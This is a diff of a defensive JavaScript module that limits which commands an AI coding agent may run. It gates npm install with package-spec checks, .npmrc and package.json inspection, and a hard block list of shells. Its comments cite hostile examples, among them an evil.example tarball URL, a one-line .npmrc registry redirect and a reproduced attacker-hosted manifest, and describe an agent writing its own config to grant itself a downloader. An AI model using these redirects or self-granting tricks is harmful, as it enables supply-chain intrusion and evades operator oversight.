refusedSubcommands: new Map([
|
|
374
|
+
['install', REGISTRY_REASON],
|
|
375
|
+
['update', REGISTRY_REASON],
|
|
376
|
+
['add', REGISTRY_REASON],
|
|
377
|
+
['console', INTERACTIVE_REASON],
|
|
378
|
+
]),
|
|
379
|
+
/** ⭐ `bundle exec <x>` delegates the program choice, so `<x>` is put
|
|
380
|
+
* back through the allowlist rather than trusted. */
|
|
381
|
+
delegates: true,
|
|
382
|
+
resolve: 'path',
|
|
383
|
+
},
|
|
384
|
+
},
|
|
385
|
+
},
|
|
386
|
+
make: {
|
|
387
|
+
describe: 'GNU make — `make test`. ⚠️ The Makefile is not validated; see the header',
|
|
388
|
+
binaries: ['make'],
|
|
389
|
+
grammar: {
|
|
390
|
+
make: {
|
|
391
|
+
flags: new Set(['-n', '--dry-run', '-B', '--always-make', '-k', '-s', '--silent', '-i', '--version']),
|
|
392
|
+
valueFlags: new Set(['-j', '--jobs', '-f', '--file']),
|
|
393
|
+
separateValueFlags: new Map([['-j', /^[0-9]+$/], ['--jobs', /^[0-9]+$/]]),
|
|
394
|
+
refused: new Map([
|
|
395
|
+
['-C', 'it moves make out of the workspace, which is the one thing the pinned cwd exists to prevent'],
|
|
396
|
+
['--directory', 'it moves make out of the workspace, which is the one thing the pinned cwd exists to prevent'],
|
|
397
|
+
['-w', WATCHER_REASON],
|
|
398
|
+
]),
|
|
399
|
+
resolve: 'path',
|
|
400
|
+
},
|
|
401
|
+
},
|
|
402
|
+
},
|
|
403
|
+
'node-bin': {
|
|
404
|
+
describe: 'linters and runners from THIS workspace\'s node_modules — eslint, prettier, jest',
|
|
405
|
+
binaries: ['eslint', 'prettier', 'jest'],
|
|
406
|
+
grammar: {
|
|
407
|
+
eslint: {
|
|
408
|
+
flags: new Set(['--fix', '--quiet', '--no-color', '--no-eslintrc', '--cache', '--max-warnings=0']),
|
|
409
|
+
valueFlags: new Set(['--format', '-f', '--ext', '--config', '-c', '--max-warnings']),
|
|
410
|
+
separateValueFlags: new Map([['--format', /^[A-Za-z0-9_.-]+$/], ['--max-warnings', /^[0-9]+$/]]),
|
|
411
|
+
resolve: 'node-module',
|
|
412
|
+
nodeModule: ['node_modules/eslint/bin/eslint.js'],
|
|
413
|
+
},
|
|
414
|
+
prettier: {
|
|
415
|
+
flags: new Set(['--check', '-c', '--write', '-w', '--no-color', '--list-different', '-l']),
|
|
416
|
+
valueFlags: new Set(['--config', '--parser', '--log-level']),
|
|
417
|
+
resolve: 'node-module',
|
|
418
|
+
nodeModule: ['node_modules/prettier/bin/prettier.cjs', 'node_modules/prettier/bin-prettier.js', 'node_modules/prettier/bin/prettier.js'],
|
|
419
|
+
},
|
|
420
|
+
jest: {
|
|
421
|
+
flags: new Set(['--ci', '--silent', '--no-color', '--runInBand', '-i', '--coverage', '--passWithNoTests']),
|
|
422
|
+
valueFlags: new Set(['--testPathPattern', '--testNamePattern', '-t', '--maxWorkers', '--reporters']),
|
|
423
|
+
separateValueFlags: new Map([['-t', /^[A-Za-z0-9_.:*?-]+$/]]),
|
|
424
|
+
refused: new Map([['--watch', WATCHER_REASON], ['--watchAll', WATCHER_REASON]]),
|
|
425
|
+
resolve: 'node-module',
|
|
426
|
+
nodeModule: ['node_modules/jest/bin/jest.js'],
|
|
427
|
+
},
|
|
428
|
+
},
|
|
429
|
+
},
|
|
430
|
+
};
|
|
431
|
+
|
|
432
|
+
export const PRESET_NAMES = Object.freeze(Object.keys(COMMAND_PRESETS));
|
|
433
|
+
|
|
434
|
+
/**
|
|
435
|
+
* ⚠️⚠️ THE ONE HARD LINE, AND IT APPLIES TO THE ADMINISTRATOR TOO.
|
|
436
|
+
*
|
|
437
|
+
* Promise (1) — "the agent cannot compose a command" — is what every other
|
|
438
|
+
* guard in this file is built on. A shell hands it straight back: one allowed
|
|
439
|
+
* binary and the character whitelist is decoration, because the shell parses
|
|
440
|
+
* the string we so carefully refused to let anyone parse. There is no
|
|
441
|
+
* configuration that turns it on. An organisation that wants a shell wants a
|
|
442
|
+
* different tool, and saying so is more honest than a flag that quietly voids
|
|
443
|
+
* the security section of the README.
|
|
444
|
+
*/
|
|
445
|
+
const NEVER_ALLOWED_BINARIES = new Set([
|
|
446
|
+
'bash', 'sh', 'zsh', 'ksh', 'dash', 'fish', 'csh', 'tcsh',
|
|
447
|
+
'cmd', 'cmd.exe', 'powershell', 'powershell.exe', 'pwsh', 'command.com',
|
|
448
|
+
'env', 'xargs', 'eval', 'exec', 'nohup', 'setsid', 'start',
|
|
449
|
+
]);
|
|
450
|
+
|
|
451
|
+
/** Where a project opts itself in. Same `.acuvo/` directory as `policy.json`. */
|
|
452
|
+
export const COMMANDS_CONFIG_FILE = '.acuvo/commands.json';
|
|
453
|
+
/** The admin route — an environment variable the agent has no verb that reaches. */
|
|
454
|
+
export const ALLOW_COMMANDS_ENV = 'ACUVO_ALLOW_COMMANDS';
|
|
455
|
+
|
|
456
|
+
/**
|
|
457
|
+
* ── ⚠️⚠️⭐ `npm install` — THE MOST DANGEROUS THING IN THIS PACKAGE, AND WHY
|
|
458
|
+
* IT IS NOT A PRESET ─────────────────────────────────────────────────────
|
|
459
|
+
*
|
|
460
|
+
* THE GAP, MEASURED: "add zod validation to this endpoint" is a first-ten-
|
|
461
|
+
* minutes request and it dead-ended. The agent writes `import { z } from 'zod'`,
|
|
462
|
+
* runs the file, gets ERR_MODULE_NOT_FOUND, and there is no verb in the package
|
|
463
|
+
* that can ever make that import resolve. Every allowlisted route — `npm
|
|
464
|
+
* install`, `npm ci`, `npx`, `bundle install`, `pip install`, `cargo add`,
|
|
465
|
+
* `go get` — is refused. A coding agent that cannot add a dependency is a
|
|
466
|
+
* coding agent that can only work on projects that already have every
|
|
467
|
+
* dependency it will ever need.
|
|
468
|
+
*
|
|
469
|
+
* ── ⚠️ SO WHY NOT JUST ADD IT TO `COMMAND_PRESETS`, LIKE `python`? ──────────
|
|
470
|
+
*
|
|
471
|
+
* Because the preset menu's entire safety argument, written at "WHY THE
|
|
472
|
+
* WORKSPACE FILE MAY ONLY PICK FROM A MENU" below, is this sentence:
|
|
473
|
+
*
|
|
474
|
+
* *"`write_file('.acuvo/commands.json', {"presets":["python"]})` buys the
|
|
475
|
+
* agent a second INTERPRETER for code it could already execute with `node`.
|
|
476
|
+
* It does not buy a shell, a DOWNLOADER, or a program of its choosing."*
|
|
477
|
+
*
|
|
478
|
+
* ⭐ An install preset makes that sentence FALSE. `.acuvo/commands.json` is a
|
|
479
|
+
* file this agent can write, so a preset named `npm-install` would be the agent
|
|
480
|
+
* granting itself a downloader in one `write_file` — and a downloader is
|
|
481
|
+
* categorically different from an interpreter: `node evil.js` runs code that is
|
|
482
|
+
* ON DISK and was written by tools that could not leave the workspace, while
|
|
483
|
+
* `npm install` runs code that arrived from a stranger thirty milliseconds ago
|
|
484
|
+
* and which nobody has read.
|
|
485
|
+
*
|
|
486
|
+
* ⭐ THEREFORE: install is gated on an ENVIRONMENT VARIABLE ONLY — the one door
|
|
487
|
+
* the agent has no verb that reaches. Exactly the shape `git.mjs` already uses
|
|
488
|
+
* for `ACUVO_ALLOW_PUSH` (the only other verb whose blast radius leaves this
|
|
489
|
+
* machine), and deliberately the same shape so an operator learns it once.
|
|
490
|
+
*
|
|
491
|
+
* ── ⚠️ AND THE COST OF THE GATE IS REAL, NOT HYPOTHETICAL ───────────────────
|
|
492
|
+
* The `polyglot` bench task fails precisely because a capability default is off.
|
|
493
|
+
* An over-tight gate is a measurable loss, not a free win. That is why the
|
|
494
|
+
* REFUSAL NAMES THE SWITCH (see `validateNpm`) rather than naming a rule: the
|
|
495
|
+
* agent that hits this wall can tell the human the exact variable to set, in
|
|
496
|
+
* the same round, instead of silently giving up. A capability nobody can find
|
|
497
|
+
* is the same as a capability that does not exist — this package has shipped
|
|
498
|
+
* that defect four times.
|
|
499
|
+
*/
|
|
500
|
+
export const ALLOW_INSTALL_ENV = 'ACUVO_ALLOW_INSTALL';
|
|
501
|
+
|
|
502
|
+
/** ⚠️ Absent means OFF. Same parse as `git.mjs`'s `pushEnabled`, on purpose. */
|
|
503
|
+
export function installEnabled(env = process.env) {
|
|
504
|
+
const raw = String(env?.[ALLOW_INSTALL_ENV] ?? '').trim().toLowerCase();
|
|
505
|
+
return raw === '1' || raw === 'true' || raw === 'yes' || raw === 'on';
|
|
506
|
+
}
|
|
507
|
+
|
|
508
|
+
/**
|
|
509
|
+
* ⚠️ THE SUBCOMMANDS THAT FETCH. Bound to the NOUN rather than to a caller's
|
|
510
|
+
* boolean: `buildInvocation` re-derives "is this an install?" from the argv it
|
|
511
|
+
* is about to spawn, so a caller that forgets to pass a flag still gets
|
|
512
|
+
* `--ignore-scripts`. (A guard that depends on being told is a guard that will
|
|
513
|
+
* be satisfied by coincidence — this package has a memory of exactly that.)
|
|
514
|
+
*/
|
|
515
|
+
const NPM_INSTALL_SUBCOMMANDS = new Set(['install', 'i', 'add', 'ci']);
|
|
516
|
+
|
|
517
|
+
/**
|
|
518
|
+
* ⚠️ FOUR, AND THE NUMBER IS AN ARGUMENT, NOT A ROUND FIGURE. Each name on an
|
|
519
|
+
* install line is an independent typosquat opportunity and an independent thing
|
|
520
|
+
* a human has to eyeball in the diff. One request ("add zod", "add express and
|
|
521
|
+
* its types") is one or two names; a line with nine is a model batching, which
|
|
522
|
+
* is the case where nobody reads any of them.
|
|
523
|
+
*/
|
|
524
|
+
export const MAX_INSTALL_PACKAGES = 4;
|
|
525
|
+
|
|
526
|
+
/**
|
|
527
|
+
* ── ⚠️ THE ONE PLACE A CALLER'S TIMEOUT IS RAISED RATHER THAN OBEYED ────────
|
|
528
|
+
*
|
|
529
|
+
* Everywhere else in this package a requested timeout is honoured exactly,
|
|
530
|
+
* because clamping one up means the result says `timedOut: false` for a run that
|
|
531
|
+
* was never given the timeout it asked for (see `spawn-argv.mjs`'s
|
|
532
|
+
* `MIN_TIMEOUT_MS` for the full argument). An install is the deliberate
|
|
533
|
+
* exception, and the reason is that the two cases are not symmetric:
|
|
534
|
+
*
|
|
535
|
+
* · a short timeout elsewhere is a legitimate "is this hung?" probe, and
|
|
536
|
+
* killing the child costs nothing;
|
|
537
|
+
* · a short timeout on an install leaves `node_modules` HALF POPULATED — a
|
|
538
|
+
* state nobody chose, which the next command silently reads as "the package
|
|
539
|
+
* is installed" and fails in a way that looks like a bug in the code.
|
|
540
|
+
*
|
|
541
|
+
* ⚠️ AND IT IS NOT THEORETICAL: the tool dispatcher passes the 120s default
|
|
542
|
+
* command timeout to every `run_program` call, and a cold install of a real
|
|
543
|
+
* dependency tree exceeds that routinely. Without this floor the capability
|
|
544
|
+
* would ship as "works on a warm cache", which is the shape of a feature that
|
|
545
|
+
* passes its tests and fails its users.
|
|
546
|
+
*/
|
|
547
|
+
export const INSTALL_MIN_TIMEOUT_MS = 300_000;
|
|
548
|
+
|
|
549
|
+
/**
|
|
550
|
+
* The ONLY flags an install may carry. A whitelist, like everything else here.
|
|
551
|
+
*
|
|
552
|
+
* ⚠️ `--ignore-scripts` is accepted and is a NO-OP — it is forced at spawn time
|
|
553
|
+
* regardless. Accepting it costs nothing and stops the model being punished for
|
|
554
|
+
* doing the safe thing it was told to do.
|
|
555
|
+
*/
|
|
556
|
+
const INSTALL_FLAGS = new Set([
|
|
557
|
+
'--save-dev', '-D', '--save-prod', '-P', '--save-exact', '-E',
|
|
558
|
+
'--ignore-scripts', '--no-audit', '--no-fund', '--legacy-peer-deps',
|
|
559
|
+
]);
|
|
560
|
+
|
|
561
|
+
/**
|
|
562
|
+
* Refusals that need a SENTENCE, because "not an allowed flag" reads like an
|
|
563
|
+
* omission and every one of these is a decision.
|
|
564
|
+
*/
|
|
565
|
+
const REFUSED_INSTALL_FLAGS = new Map([
|
|
566
|
+
['-g', 'a global install writes outside the workspace, which is the one thing the pinned cwd exists to prevent'],
|
|
567
|
+
['--global', 'a global install writes outside the workspace, which is the one thing the pinned cwd exists to prevent'],
|
|
568
|
+
['--prefix', 'it moves the install out of the workspace'],
|
|
569
|
+
['--registry', 'it points the install at a registry nobody in this repository agreed to; the registry is the operator\'s choice, not the agent\'s'],
|
|
570
|
+
['--no-save', 'an install that is not recorded in package.json vanishes on the next clean checkout and never appears in a diff — the whole point of adding a dependency is that the addition is reviewable'],
|
|
571
|
+
['--no-package-lock', 'the lockfile is the record of exactly what was fetched; skipping it makes the install unreproducible'],
|
|
572
|
+
['--force', 'it overrides the conflicts npm raises, which are the only signal that something is wrong'],
|
|
573
|
+
['--no-ignore-scripts', 'install scripts are refused unconditionally here — see --ignore-scripts'],
|
|
574
|
+
['--foreground-scripts', 'install scripts are refused unconditionally here — see --ignore-scripts'],
|
|
575
|
+
['--unsafe-perm', 'it runs lifecycle scripts as the invoking user, and lifecycle scripts do not run here at all'],
|
|
576
|
+
]);
|
|
577
|
+
|
|
578
|
+
/**
|
|
579
|
+
* ── ⚠️⚠️ WHAT A PACKAGE SPEC IS ALLOWED TO BE, AND WHAT IT CANNOT SAY ───────
|
|
580
|
+
*
|
|
581
|
+
* `npm install <spec>` accepts far more than a package name. All of these are
|
|
582
|
+
* legal npm and every one of them is a different program arriving:
|
|
583
|
+
*
|
|
584
|
+
* · `https://evil.example/x.tgz` — a tarball from anywhere
|
|
585
|
+
* · `git+ssh://git@host/x.git` — a repository from anywhere
|
|
586
|
+
* · `file:../../../etc` — a directory outside the workspace
|
|
587
|
+
* · `user/repo` — GitHub shorthand, no protocol needed
|
|
588
|
+
* · `zod@npm:evil-package` — an ALIAS: the name in package.json says
|
|
589
|
+
* `zod` and the code that lands is not zod
|
|
590
|
+
*
|
|
591
|
+
* ⭐ The alias is the nastiest, because the resulting `package.json` line reads
|
|
592
|
+
* as the package the human asked for. So this is a whitelist of shape: a
|
|
593
|
+
* REGISTRY NAME, optionally with a version, and nothing else. Every form above
|
|
594
|
+
* dies on the `:` rule or the `/` rule.
|
|
595
|
+
*
|
|
596
|
+
* ⚠️⚠️ WHAT THIS DOES **NOT** SOLVE, STATED PLAINLY BECAUSE PRETENDING WOULD BE
|
|
597
|
+
* WORSE THAN THE RISK: **a package NAME chosen by a language model is not
|
|
598
|
+
* safe.** `zod` and `zodd` are both perfectly-shaped registry names, and the
|
|
599
|
+
* Shai-Hulud npm worm shipped its payload inside AI coding-agent config files
|
|
600
|
+
* precisely because agents install what they are told to install. No regex
|
|
601
|
+
* distinguishes a typosquat from the real thing, and a blocklist of known-bad
|
|
602
|
+
* names would be stale the day it shipped — this file already refuses to build
|
|
603
|
+
* that kind of guard (see the shell argument).
|
|
604
|
+
*
|
|
605
|
+
* ⭐ WHAT ACTUALLY REDUCES THE BLAST RADIUS IS `--ignore-scripts`, FORCED: a
|
|
606
|
+
* typosquat that lands on disk has NOT executed. It becomes code in
|
|
607
|
+
* `node_modules` that only runs if the agent's own code imports it — which is
|
|
608
|
+
* the same risk class as `node <file the model wrote>`, the risk this package
|
|
609
|
+
* has always openly carried, rather than the strictly worse "arbitrary code ran
|
|
610
|
+
* during a command that looked like housekeeping".
|
|
611
|
+
*
|
|
612
|
+
* @param {string} spec one operand of an install command
|
|
613
|
+
*/
|
|
614
|
+
export function validateInstallSpec(spec) {
|
|
615
|
+
const text = String(spec ?? '');
|
|
616
|
+
if (!text) return { ok: false, error: 'an empty package name is not a package' };
|
|
617
|
+
if (text.length > 214) return { ok: false, error: `"${text.slice(0, 40)}…" is longer than npm's 214-character limit, so it is not a package name` };
|
|
618
|
+
if (text.startsWith('-')) return { ok: false, error: `"${text}" starts with "-", so it is a flag npm does not have, not a package` };
|
|
619
|
+
|
|
620
|
+
/**
|
|
621
|
+
* ⚠️ `:` IS THE ONE CHARACTER THAT TURNS A NAME INTO A LOCATION. `npm:`,
|
|
622
|
+
* `file:`, `git+ssh:`, `https:` — all of them. Refused before anything else
|
|
623
|
+
* so no later rule has to be clever about protocols.
|
|
624
|
+
*/
|
|
625
|
+
if (text.includes(':')) {
|
|
626
|
+
return { ok: false, error: `"${text}" names a location rather than a registry package (":" appears in it). URL, git, file: and npm: alias specs are refused — an alias in particular makes package.json say one name while a different package lands. Install by registry name only, e.g. "zod" or "zod@4.1.12".` };
|
|
627
|
+
}
|
|
628
|
+
if (text.includes('\\')) return { ok: false, error: `"${text}" contains a backslash, so it is a path, not a package name` };
|
|
629
|
+
|
|
630
|
+
const at = text.startsWith('@') ? text.indexOf('@', 1) : text.indexOf('@');
|
|
631
|
+
const name = at === -1 ? text : text.slice(0, at);
|
|
632
|
+
const version = at === -1 ? null : text.slice(at + 1);
|
|
633
|
+
|
|
634
|
+
if (name.startsWith('@')) {
|
|
635
|
+
// A scope is the ONLY legal `/`. `user/repo` (GitHub shorthand) has no `@`
|
|
636
|
+
// and therefore never reaches this branch — it dies on the rule below.
|
|
637
|
+
const parts = name.slice(1).split('/');
|
|
638
|
+
if (parts.length !== 2 || !parts[0] || !parts[1]) {
|
|
639
|
+
return { ok: false, error: `"${name}" is not a scoped package name — it must be exactly @scope/name` };
|
|
640
|
+
}
|
|
641
|
+
if (!isPlainPackageWord(parts[0]) || !isPlainPackageWord(parts[1])) {
|
|
642
|
+
return { ok: false, error: `"${name}" is not a valid scoped package name (lowercase letters, digits, . _ - only)` };
|
|
643
|
+
}
|
|
644
|
+
} else {
|
|
645
|
+
if (name.includes('/')) {
|
|
646
|
+
return { ok: false, error: `"${name}" contains "/" without a leading "@", which is GitHub shorthand for a repository — that fetches code from outside the registry and is refused. Use the published package name.` };
|
|
647
|
+
}
|
|
648
|
+
if (!isPlainPackageWord(name)) {
|
|
649
|
+
return { ok: false, error: `"${name}" is not a valid npm package name (lowercase letters, digits, . _ - only, and it may not begin with . or _)` };
|
|
650
|
+
}
|
|
651
|
+
}
|
|
652
|
+
|
|
653
|
+
if (version !== null) {
|
|
654
|
+
const v = validateInstallVersion(version, text);
|
|
655
|
+
if (!v.ok) return v;
|
|
656
|
+
}
|
|
657
|
+
return { ok: true, name, version };
|
|
658
|
+
}
|
|
659
|
+
|
|
660
|
+
/** npm's own name rule, minus the historical uppercase names nobody publishes. */
|
|
661
|
+
function isPlainPackageWord(word) {
|
|
662
|
+
return /^[a-z0-9][a-z0-9._-]*$/.test(word);
|
|
663
|
+
}
|
|
664
|
+
|
|
665
|
+
/**
|
|
666
|
+
* ⚠️ A VERSION, NOT A RANGE EXPRESSION. `zod@4.1.12`, `zod@^4`, `zod@latest`
|
|
667
|
+
* are all a human can check at a glance. `zod@>=1 || <9`, `zod@*` and `zod@x`
|
|
668
|
+
* are ranges whose resolved answer changes between two runs of the same
|
|
669
|
+
* command, which makes the receipt below a lie. Narrow on purpose.
|
|
670
|
+
*/
|
|
671
|
+
const INSTALL_DIST_TAGS = new Set(['latest', 'next', 'beta', 'alpha', 'rc', 'canary']);
|
|
672
|
+
function validateInstallVersion(version, whole) {
|
|
673
|
+
if (!version) return { ok: false, error: `"${whole}" ends with "@" and no version` };
|
|
674
|
+
if (INSTALL_DIST_TAGS.has(version)) return { ok: true };
|
|
675
|
+
if (!/^[~^]?[0-9]+(\.[0-9]+)*(-[0-9A-Za-z.]+)?(\+[0-9A-Za-z.]+)?$/.test(version)) {
|
|
676
|
+
return {
|
|
677
|
+
ok: false,
|
|
678
|
+
error: `"${version}" is not a version this agent may ask for. Use an exact version (4.1.12), a caret or tilde on one (^4.1.12), or a dist-tag (${[...INSTALL_DIST_TAGS].join(', ')}). A range expression resolves differently on different days, so what was installed could not be stated afterwards.`,
|
|
679
|
+
};
|
|
680
|
+
}
|
|
681
|
+
return { ok: true };
|
|
682
|
+
}
|
|
683
|
+
|
|
684
|
+
/**
|
|
685
|
+
* ── ⚠️⚠️⭐ THE WORKSPACE `.npmrc` UNDOES EVERYTHING ABOVE, AND THE AGENT CAN
|
|
686
|
+
* WRITE IT ────────────────────────────────────────────────────────────────
|
|
687
|
+
*
|
|
688
|
+
* npm reads `<workspace>/.npmrc` before the user's and the global one. It is a
|
|
689
|
+
* file inside the workspace, so `write_file('.npmrc', 'registry=http://evil/')`
|
|
690
|
+
* is one tool call — and after it, `npm install zod` fetches "zod" from a
|
|
691
|
+
* machine of the attacker's choosing while every check in this file still
|
|
692
|
+
* passes, because the SPEC was perfectly valid. That is the same shape as the
|
|
693
|
+
* `package.json` scripts bypass this module already closes, arriving through a
|
|
694
|
+
* different file.
|
|
695
|
+
*
|
|
696
|
+
* ⭐ So the install refuses when the workspace `.npmrc` changes WHERE code comes
|
|
697
|
+
* from or WHETHER scripts run. Note the asymmetry, which is deliberate:
|
|
698
|
+
* `ignore-scripts=true` is fine (it is stricter than us); `ignore-scripts=false`
|
|
699
|
+
* refuses, even though the forced CLI flag would beat it — because a repository
|
|
700
|
+
* that asks for install scripts is a repository whose install a human should
|
|
701
|
+
* run, and refusing says so instead of silently doing something else.
|
|
702
|
+
*
|
|
703
|
+
* ⚠️ ONLY THE WORKSPACE FILE IS INSPECTED. `~/.npmrc` and the global config are
|
|
704
|
+
* the operator's, the agent cannot write them, and second-guessing them would
|
|
705
|
+
* break every corporate registry on earth.
|
|
706
|
+
*
|
|
707
|
+
* @param {string} text contents of the workspace `.npmrc`
|
|
708
|
+
*/
|
|
709
|
+
export function inspectNpmrcForInstall(text) {
|
|
710
|
+
const lines = String(text ?? '').split(/\r?\n/);
|
|
711
|
+
for (const raw of lines) {
|
|
712
|
+
const line = raw.trim();
|
|
713
|
+
if (!line || line.startsWith('#') || line.startsWith(';') || line.startsWith('[')) continue;
|
|
714
|
+
const eq = line.indexOf('=');
|
|
715
|
+
if (eq === -1) continue;
|
|
716
|
+
const key = line.slice(0, eq).trim().toLowerCase();
|
|
717
|
+
const value = line.slice(eq + 1).trim().replace(/^["']|["']$/g, '');
|
|
718
|
+
if (key === 'registry' || key.endsWith(':registry')) {
|
|
719
|
+
if (!/^https:\/\/registry\.npmjs\.org\/?$/i.test(value)) {
|
|
720
|
+
return { ok: false, error: `.npmrc in this workspace points ${key} at ${JSON.stringify(value)}. That file is inside the workspace, so the agent can write it — an install that honoured it would fetch code from a host nobody in this repository agreed to. Remove the line, or run this install yourself.` };
|
|
721
|
+
}
|
|
722
|
+
continue;
|
|
723
|
+
}
|
|
724
|
+
if (key === 'ignore-scripts' && /^(false|0|no|off)$/i.test(value)) {
|
|
725
|
+
return { ok: false, error: '.npmrc in this workspace sets ignore-scripts=false. Install scripts never run through this agent, so this repository\'s install is one a human should run.' };
|
|
726
|
+
}
|
|
727
|
+
if (key === 'script-shell' || key === 'shell') {
|
|
728
|
+
return { ok: false, error: `.npmrc in this workspace sets ${key}, which chooses the program npm hands scripts to. A shell is the one thing no layer of this package will select.` };
|
|
729
|
+
}
|
|
730
|
+
if (key === 'unsafe-perm' && /^(true|1|yes|on)$/i.test(value)) {
|
|
731
|
+
return { ok: false, error: '.npmrc in this workspace sets unsafe-perm=true, which exists only to make lifecycle scripts run with more privilege. They do not run here at all.' };
|
|
732
|
+
}
|
|
733
|
+
}
|
|
734
|
+
return { ok: true };
|
|
735
|
+
}
|
|
736
|
+
|
|
737
|
+
/**
|
|
738
|
+
* ── ⚠️⚠️ THE THIRD DOOR INTO THE SAME ROOM ─────────────────────────────────
|
|
739
|
+
*
|
|
740
|
+
* `validateInstallSpec` refuses a URL, a git repo, `user/repo` and an `npm:`
|
|
741
|
+
* alias — WHEN THE AGENT TYPES IT AS AN OPERAND. `inspectNpmrcForInstall`
|
|
742
|
+
* refuses a redirected registry. Both exist because the workspace is writable.
|
|
743
|
+
*
|
|
744
|
+
* ⚠️ AND `package.json` NAMES THE SAME THINGS, WITH NO OPERAND AT ALL. A bare
|
|
745
|
+
* `npm install` takes zero packages, so `validateNpmInstall` collected an empty
|
|
746
|
+
* list, returned ok, and npm then read the manifest the cloned repository
|
|
747
|
+
* shipped. Reproduced by an adversarial pass: a manifest naming
|
|
748
|
+
* `"zod": "http://127.0.0.1:PORT/anything.tgz"` fetched from the attacker's
|
|
749
|
+
* host, landed the tarball as `node_modules/zod`, exited 0 — and the receipt
|
|
750
|
+
* said `installed: []`, because no operand was ever typed. Every check in this
|
|
751
|
+
* file passed, correctly, on a command that had nothing to check.
|
|
752
|
+
*
|
|
753
|
+
* ⭐ THE RULE IS "NOT A LOCATION", NOT "A TIDY VERSION". This is deliberately
|
|
754
|
+
* LOOSER than `validateInstallVersion`, and the reason is whose choice it is.
|
|
755
|
+
* An operand is the AGENT's choice, so we can insist on a version a human can
|
|
756
|
+
* check at a glance. A manifest is the PROJECT's, already written, and
|
|
757
|
+
* `">=17"`, `"1.x"` and `"*"` are all over real repositories — refusing them
|
|
758
|
+
* would fail correct work, which this package has paid for four times in one
|
|
759
|
+
* day. So the only question asked here is WHERE THE CODE COMES FROM.
|
|
760
|
+
*
|
|
761
|
+
* ⭐ LOCAL PROTOCOLS ARE ALLOWED and that is not an oversight: `file:`,
|
|
762
|
+
* `link:`, `portal:` and `workspace:` fetch nothing from a network. They are
|
|
763
|
+
* how every monorepo on earth refers to its own packages, and lifecycle scripts
|
|
764
|
+
* are already off, so the worst one can do is symlink a directory that is
|
|
765
|
+
* already on this machine.
|
|
766
|
+
*
|
|
767
|
+
* ⚠️ `npm:` IS REFUSED THOUGH IT FETCHES FROM THE REGISTRY, because the
|
|
768
|
+
* resulting `package.json` line reads as the package the human asked for while
|
|
769
|
+
* a different one lands — the same argument `validateInstallSpec` already makes
|
|
770
|
+
* for the operand form, and it calls that one the nastiest.
|
|
771
|
+
*
|
|
772
|
+
* @param {string} text contents of the workspace `package.json`
|
|
773
|
+
*/
|
|
774
|
+
export function inspectManifestForInstall(text) {
|
|
775
|
+
let pkg;
|
|
776
|
+
try { pkg = JSON.parse(String(text ?? '')); } catch (err) {
|
|
777
|
+
return { ok: false, error: `package.json is not valid JSON, so what it would install cannot be checked: ${err instanceof Error ? err.message : String(err)}` };
|
|
778
|
+
}
|
|
779
|
+
if (!pkg || typeof pkg !== 'object') return { ok: true };
|
|
780
|
+
|
|
781
|
+
const refused = [];
|
|
782
|
+
const check = (where, name, raw) => {
|
|
783
|
+
const why = manifestSpecRefusal(String(raw ?? ''));
|
|
784
|
+
if (why) refused.push(`${where}"${name}": ${JSON.stringify(String(raw))} — ${why}`);
|
|
785
|
+
};
|
|
786
|
+
for (const field of ['dependencies', 'devDependencies', 'optionalDependencies', 'peerDependencies']) {
|
|
787
|
+
const deps = pkg[field];
|
|
788
|
+
if (!deps || typeof deps !== 'object' || Array.isArray(deps)) continue;
|
|
789
|
+
for (const [name, raw] of Object.entries(deps)) check(`${field}.`, name, raw);
|
|
790
|
+
}
|
|
791
|
+
/**
|
|
792
|
+
* ⚠️⚠️ `overrides` IS THE SAME ATTACK WITH FAR MORE REACH. It redirects a
|
|
793
|
+
* TRANSITIVE dependency — one nobody reading the direct list would look at —
|
|
794
|
+
* and npm honours it. It nests arbitrarily, so this walks it.
|
|
795
|
+
*/
|
|
796
|
+
const walkOverrides = (node, path) => {
|
|
797
|
+
if (!node || typeof node !== 'object' || Array.isArray(node)) return;
|
|
798
|
+
for (const [name, raw] of Object.entries(node)) {
|
|
799
|
+
if (typeof raw === 'string') check(`${path}`, name, raw);
|
|
800
|
+
else if (raw && typeof raw === 'object') {
|
|
801
|
+
if (typeof raw['.'] === 'string') check(`${path}`, `${name}.`, raw['.']);
|
|
802
|
+
walkOverrides(raw, `${path}${name}.`);
|
|
803
|
+
}
|
|
804
|
+
}
|
|
805
|
+
};
|
|
806
|
+
walkOverrides(pkg.overrides, 'overrides.');
|
|
807
|
+
|
|
808
|
+
if (refused.length === 0) return { ok: true };
|
|
809
|
+
return {
|
|
810
|
+
ok: false,
|
|
811
|
+
error: `package.json in this workspace installs code from outside the npm registry, so this install is refused:\n ${refused.slice(0, 8).join('\n ')}`
|
|
812
|
+
+ (refused.length > 8 ? `\n …and ${refused.length - 8} more` : '')
|
|
813
|
+
+ '\nThat file is inside the workspace and this agent can write it, and a cloned repository ships its own. '
|
|
814
|
+
+ 'A dependency that comes from a URL, a git repo or an alias is one a human should install.',
|
|
815
|
+
};
|
|
816
|
+
}
|
|
817
|
+
|
|
818
|
+
/** Protocols that resolve to something already on this machine — no network. */
|
|
819
|
+
const LOCAL_DEP_PROTOCOLS = new Set(['file', 'link', 'portal', 'workspace']);
|
|
820
|
+
|
|
821
|
+
/** @returns {string|null} why this manifest spec is a location, or null if it is fine. */
|
|
822
|
+
function manifestSpecRefusal(spec) {
|
|
823
|
+
const text = spec.trim();
|
|
824
|
+
if (!text) return null; // npm treats "" as "*"; it is not a location.
|
|
825
|
+
const colon = text.indexOf(':');
|
|
826
|
+
if (colon > 0) {
|
|
827
|
+
const proto = text.slice(0, colon).toLowerCase();
|
|
828
|
+
if (LOCAL_DEP_PROTOCOLS.has(proto)) return null;
|
|
829
|
+
if (proto === 'npm') return 'an "npm:" alias makes this line name one package while a different one lands';
|
|
830
|
+
return `"${proto}:" fetches code from outside the registry`;
|
|
831
|
+
}
|
|
832
|
+
/**
|
|
833
|
+
* ⚠️ NO PROTOCOL NEEDED FOR THE GITHUB FORM. `user/repo`, `user/repo#branch`
|
|
834
|
+
* and `user/repo#commit` are all fetched from GitHub by npm with no scheme in
|
|
835
|
+
* sight — the shape a reader skims straight past.
|
|
836
|
+
*/
|
|
837
|
+
if (text.includes('/')) return 'this is GitHub shorthand (user/repo), which fetches a repository rather than a registry package';
|
|
838
|
+
if (text.startsWith('.') || text.startsWith('~/')) return 'a bare path is resolved as a local directory, not a registry package';
|
|
839
|
+
return null;
|
|
840
|
+
}
|
|
841
|
+
|
|
842
|
+
/**
|
|
843
|
+
* ── ⚠️⚠️ AND THE LOCKFILE, WHICH THIS FILE USED TO CALL THE SAFEST ONE ──────
|
|
844
|
+
*
|
|
845
|
+
